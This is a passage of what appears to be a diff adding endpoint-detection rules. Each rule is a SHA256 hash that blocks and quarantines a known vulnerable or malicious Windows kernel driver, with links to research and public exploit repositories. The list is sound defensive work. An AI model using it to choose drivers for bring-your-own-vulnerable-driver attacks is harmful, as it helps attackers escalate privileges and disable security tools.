+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812071Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "284287b99fc92f7700c23bfcb78eb61d3101bd0767989e973d03e42bb67a660a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c63b841-f1bf-556a-9fb9-5c4612094386",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483784Z",
+  "creation_date": "2026-03-23T11:45:31.483788Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d11c772a4b7ee2748f1da5ddab4960ae5751b4b4624399cda777af923ccfbbc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c655c7c-67f9-5c50-b40f-5c47c5b12fa2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978650Z",
+  "creation_date": "2026-03-23T11:45:29.978652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "911e01544557544de4ad59b374f1234513821c50a00c7afa62a8fcca07385b2f",
+  "comment": "Vulnerable Kernel Driver (aka magdrvamd64.sys) [https://www.loldrivers.io/drivers/cfd36b2e-cf96-498e-aeb6-ee20e7b33bbb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c6f59b4-ac34-5c2a-895b-c15b51c12200",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826049Z",
+  "creation_date": "2026-03-23T11:45:30.826052Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c764301c3ff5279d06ffd3b6a3180c9da38c3ae49d7eff8601835dabc8a9db99",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c7efbca-a654-5c16-b872-c587fd4317ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612793Z",
+  "creation_date": "2026-03-23T11:45:29.612795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612800Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5e4dc1a918e201ec2cf02a036e4dd03dd04dfd179091c8adfbc6745eb830f2f",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c8af134-24cc-5972-97f1-717aea407f34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810433Z",
+  "creation_date": "2026-03-23T11:45:31.810435Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2be2c63aa1b437982d5ccede27644702a7edd189e3c498051030c6a7ace15a0b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c8ef31b-a90b-5290-8142-65f2c37577b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821467Z",
+  "creation_date": "2026-03-23T11:45:31.821469Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1582c2e29c20e43e3640f2054de2d06afdcb89524bf467b78a4a0ae747ccb9e9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c9cdade-2732-55f2-ade1-274c20eb316d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823695Z",
+  "creation_date": "2026-03-23T11:45:31.823697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823703Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9efab0c988bf7577596ad8ef753ab784a46c44455e7b9395e10622d3e9a80b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ca7ba84-f9f5-5e03-8177-b2b5174007c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985720Z",
+  "creation_date": "2026-03-23T11:45:29.985722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ac6d632f61d9abe287616ade35f555cd8cf5b91adda382c5ced0cbae468b0e7",
+  "comment": "Malicious Kernel Driver related to WINTAPIX (aka WinTapix.sys and SRVNET2.SYS) [https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1cab13d6-3a8e-5c07-9db0-8ab8f167e094",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975148Z",
+  "creation_date": "2026-03-23T11:45:29.975150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af1011c76a22af7be97a0b3e0ce11aca0509820c59fa7c8eeaaa1b2c0225f75a",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1cc84bcf-b33f-5132-ab81-9c9a8d799815",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831882Z",
+  "creation_date": "2026-03-23T11:45:30.831884Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8120ccba85fa029f3ad4a6498a573aa8ceb3bbde691a41da550ef87ba57f0d14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ccb5a5b-d54e-52e3-9a08-211f88fbd137",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816291Z",
+  "creation_date": "2026-03-23T11:45:31.816294Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b36f5995cda260348a3c01015e681432e1e363b2c15a42a8cedc9cc26a143b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1cd329c7-49c1-5afb-b642-cc31e32e7701",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479277Z",
+  "creation_date": "2026-03-23T11:45:30.479280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479285Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfa28e2f624f927d4cbd2952306570d86901d2f24e3d07cc6277e98289d09783",
+  "comment": "Vulnerable Kernel Driver (aka VBoxTAP.sys) [https://www.loldrivers.io/drivers/f22e7230-5f32-4c4e-bc9d-9076ebf10baa/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1cdd33b6-22b1-5f32-be69-fad90ac6154b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487272Z",
+  "creation_date": "2026-03-23T11:45:31.487274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "679ad546f6c631471cf2590db7f9fdde7b8df2d1883b673a1ab739f975238200",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ce2e860-bc84-593c-8249-77835115f9ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816508Z",
+  "creation_date": "2026-03-23T11:45:30.816510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816516Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e1f3b15e4e5003a563bf8742558f5dc48fd0fe20238efe759001bf226f234ff",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1cfdb981-6005-57ec-9f8f-d85825095c4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474741Z",
+  "creation_date": "2026-03-23T11:45:30.474744Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "158f9e2bcec73e821d5df17c1d5f9f46f23ecd9f6cf101588578235240f5cca0",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d087936-25d8-5891-8488-7bde0a489e4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823502Z",
+  "creation_date": "2026-03-23T11:45:30.823504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823509Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f36a82220bf47ed3a0fe4d33db7c9f22f1e9906930dad1609f15c8c74c1d402",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d108049-dedb-591e-be69-72fbaccf90ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475895Z",
+  "creation_date": "2026-03-23T11:45:30.475899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c190e4a7f1781ec9fa8c17506b4745a1369dcdf174ce07f85de1a66cf4b5ed8a",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d1443ce-3788-5263-8bf5-0ec1e04a2f66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481414Z",
+  "creation_date": "2026-03-23T11:45:30.481417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ec7af309a9359c332d300861655faeceb68bb1cd836dd66d10dd4fac9c01a28",
+  "comment": "Vulnerable Kernel Driver (aka phymem_ext64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d216cbb-342c-5b21-b9c5-b9f645a5a64f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833910Z",
+  "creation_date": "2026-03-23T11:45:30.833913Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833922Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "563684a67bba92fc286df805f6a1e8084ba49517ff904544885b06f149ea13ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d231e1e-8909-5deb-82f0-05d99f7e20a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142772Z",
+  "creation_date": "2026-03-23T11:45:31.142774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b29023164d31da561b5c91c75f22377b9f0b8ded0b4b8b049a77e06b6a1ec24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d26770e-b3fd-576e-b143-a2766abce929",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458635Z",
+  "creation_date": "2026-03-23T11:45:30.458639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf2ea0e4d21d3774bbacf10a14c75583b448829f87a90b869678fbc4de9b2a99",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d3c2aff-ebf2-5472-bb52-97174bc86c15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976192Z",
+  "creation_date": "2026-03-23T11:45:29.976194Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
